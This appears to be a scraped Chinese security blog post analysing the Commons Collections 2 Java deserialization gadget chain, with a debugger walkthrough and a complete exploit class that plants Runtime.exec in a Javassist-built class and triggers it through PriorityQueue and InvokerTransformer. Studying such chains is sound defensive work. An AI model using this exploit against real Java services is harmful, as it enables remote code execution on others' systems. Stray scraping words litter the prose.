Commons Collections2分析

0x0一、POC分析

//建立一个CtClass对象的容器
ClassPool classPool=ClassPool.getDefault();
//添加AbstractTranslet的搜索路径
classPool.appendClassPath(AbstractTranslet);
//建立一个新的public类
CtClass payload=classPool.makeClass("CC2");
//让上面建立的类继承AbstractTranslet
payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"cmd.exe\");");

首先是经过getDefault建立一个CtClass对象的容器,而后appendClassPath()来添加添加AbstractTranslet的搜索路径;html

而后建立一个public修饰的类,类名为CommonsCollection2;经过setSuperclass来设置父类;咱们在想一想看get()方法是干吗的?经过该文章javassist使用,能够知道是查找AbstractTransletjava

此处总结就是:设置父类为AbstractTransletapache

而后建立一个静态代码块,静态代码块中设置内容为:api

java.lang.Runtime.getRuntime().exec("calc");

第二部分

//反射建立TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
//反射获取templatesImpl的_bytecodes字段
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true); 

///将templatesImpl上的_bytecodes字段设置为runtime的byte数组
field.set(templatesImpl,new byte[][]{bytes});

//反射获取templatesImpl的_name字段
Field field1=templatesImpl.getClass().getDeclaredField("_name");
field1.setAccessible(true);  

//将templatesImpl上的_name字段设置为test
field1.set(templatesImpl,"test");

而后经过反射建立,经过实例化调用了构造无参构造,而后newInstance()来实例化对象,经过反射获取private修饰的_bytecodes属性;获取私有的时候须要使用暴力反射;数组

而后将反射获取的_bytecodes变量赋值为bytes变量app

bytespayload.toBytecode(),而payload是CommonsCollections2类的内容;将templatesImpl上的_bytecodes字段设置为CC2类的的byte数组;函数

而后再经过反射获取到private修饰的_name变量,最后经过反射设置该变量的值为testthis

第三部分

InvokerTransformer transformer=new InvokerTransformer("newTransformer",
														new Class[]{},
														new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);

而咱们经过cc1知道,InvokerTransformer第⼀个参数是待执⾏的⽅法名第⼆个参数是这个函数的参数列表的参数类型第三个参数是传给这个函数的参数列表接着获取了 InvokerTransformer 实例对象.debug

因此这边是去调用了newTransformer这个方法,后面再细讲;而后TransformingComparatorcompare方法会去调用传入参数的transform方法。3d

第四部分

//使用指定的初始容量建立一个 PriorityQueue,并根据其天然顺序对元素进行排序。
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);

Field field2=queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

构造参数有三种,而后咱们这是第二种,自定义容量大小;而后将指定的元素插入此优先级队列,默认是升序排列;

此处是实验代码~~~,因为本人懒,就不单独写,直接修改一下下;

而后经过反射,去获取comparator变量,而且最后在comparator变量设置值为comparator

Field field3=queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});

最后步骤同样,设置queue变量为Object数组,内容为templatesImpl;最后就是输出序列化流

那为何要添加两个呢?这个稍后调试的时候讲解

0x0二、poc调试

这里我先说明一下,由于我昨天去和朋友happy,和初中同窗聚了一下还看了唐探3,给忘记了我写了啥东西;因此poc分析就按照以前的废稿写进;而后这边poc我是摘抄自nice一位师傅的;其次就是这边调试我会按照个人思路讲; 接下来就进入正文了

这里不知道上文分析的逻辑,也不想读,就从新理解过程;这边咱们看看yso的利用链,这边入口点是PriorityQueue.readObject();知道了路口点,那咱们能够进去查找下这个readObject()方法。

断点下好后咱们就能够开始debug了,由于前面部分都不是重点。

这边有几个步骤,首先是调用默认的 ObjectInputStream.defaultReadObject() 方法 ,把序列化的文件进行 反序列化去读取数据;而后调用 ObjectInputStream.readInt() 方法读取优先级队列的长度。

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);

此处继续检查集合的容量和类型,而后循环读取数组 queue 的内容这里与 PriorityQueue.writeObject() 方法对应 . 读取 queue 数组的内容

最后进入heapify()方法中,咱们f7继续跟进去看看

进去以后咱们发现是调用了siftDown()方法;那这for判断的是啥?

这时候就涉及到了exp中为什么要添加两个值到容器中

那么咱们看看for是怎么判断的?

经过此处,size知道为2,通过计算后为0,判断i大于等于0的时候,执行代码的内容为0,知足这条件;那咱们没法判断是不是此处的问题,咱们能够修改exp试试

queue.add(1);
queue.add(1);

咱们先将此处注释掉一个

最后咱们在debug到那一步去看看size的值是多少

这时候能够发现是size的值是1;若是还有什么疑惑的话,没事,下面咱们会分析如何构造出这份exp;

那么咱们回归正文,咱们继续F7进入siftDown()方法看看

这个方法能够看到有两个参数,第一个是整数类型的,也就是数字;第二个X是什么?

X是:queue[i] = queue[0] = TemplatesImpl对象

而后再判断comparator值不为空的时候为true;然而这个comparatorTransformingComparator类型的值,因此进入这个siftDownUsingComparator

咱们继续f7跟进siftDownUsingComparator方法里面

而后一直f8到了此处,具体上面的我就不细讲了。这边调用了compare

注意:comparatorTransformingComparator类型的值,因此能够知道调用的是TransformingComparator类里面的compare()方法噢

因此咱们f7进去,查看是否是跟咱们的想法一致(读者:这不屁话吗,不一致就大结局了)

注意个问题,这边两个参数的内容都是TemplatesImpl的实例化对象。那this.transformer呢?

此处是InvokerTransformer类型的值,因此这边调用的是InvokerTransformer里的transform()方法;这就有点相似CC1里面的了,绕到此处,使用反射进行rce;

image-20210213193527615

可是,这里咱们就要细节了,注意看上图中的时时变量,

因此咱们跟进去看看所谓的细节~~,既然调用了newTransformer方法,咱们就进去看看这个方法。那这是哪一个类的呢?

这里类型是这个,也就是exp构造的类型,因此这个方法属于这个类中的

TemplatesImpl.newTransformer() 方法主要用于获取 TemplatesImpl 实例对象 , 后面可使用此实例处理来自不一样源的XML文档 , 并对其进行转换等操做。其中会调用getTransletInstance方法。前面但是没有条件判断,意思就是必进的点

进入了getTransletInstance()方法中

方法用于生成 translet 实例对象 . 这个实例对象随后会被封装在 Transformer 实例对象中。

为何构造 Payload 时 _name 字段不填充会利用失败 ?

实际上是由于 getTransletInstance() 方法会对 TemplatesImpl 对象的 _name 字段有一步判断 , 若是该属性值为 null , 则直接返回 null;不为空的时候,才能进入下面的条件分支

接着代码会判断 _class 字段值是否为空 , 若是为空就会调用 defineTransletClasses() 方法 . 这里 _class 字段为空 , 所以咱们跟进该方法。

该方法会对 _bytecodes 字段进行解析 , 核心代码以下:

代码会经过 loader.defineClass() 方法将字节码数组转换成类的实例 。

而惟一的条件就是该类的父类为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

而后一直到最后,defineTransletClasses()执行完后会跳回刚刚的地方

因为变量 _transletIndex 的值为 " 0 " , 所以 _class[_transletIndex] 实际上就是咱们经过 JAVAssist 构造的恶意类 。

如今会对恶意类调用 newInstance() 方法 , 类会先被加载后再被实例化 .

类在加载时会调用静态代码块中的内容 . 所以服务端最终会进入 java.lang.Runtime.getRuntime().exec() 反射链 , 执行系统命令。

0x0三、完整POC

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class exp {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();
        classPool.appendClassPath(AbstractTranslet);
        CtClass payload=classPool.makeClass("CC2");
        payload.setSuperclass(classPool.get(AbstractTranslet)); 
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); 

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});

        Field field1=templatesImpl.getClass().getDeclaredField("_name");
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
        field2.set(queue,comparator);

        Field field3=queue.getClass().getDeclaredField("queue");
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

0x0四、总结

可能有部分很差,由于分析一半出去玩,而后一回来写,进入状态有点不佳,可是应该很详细了;而CC2链涉及到了两个知识点: JAVAssist 与 PriorityQueu;因此学下这两个知识点就差很少了

参考文章:

http://www.javashuo.com/article/p-wsuoldub-nx.html

http://www.javashuo.com/article/p-biscycsg-ve.html

http://www.javashuo.com/article/p-savfhnnb-ve.html

http://www.javashuo.com/article/p-tvgbnnyq-ve.html

相关文章
相关标签/搜索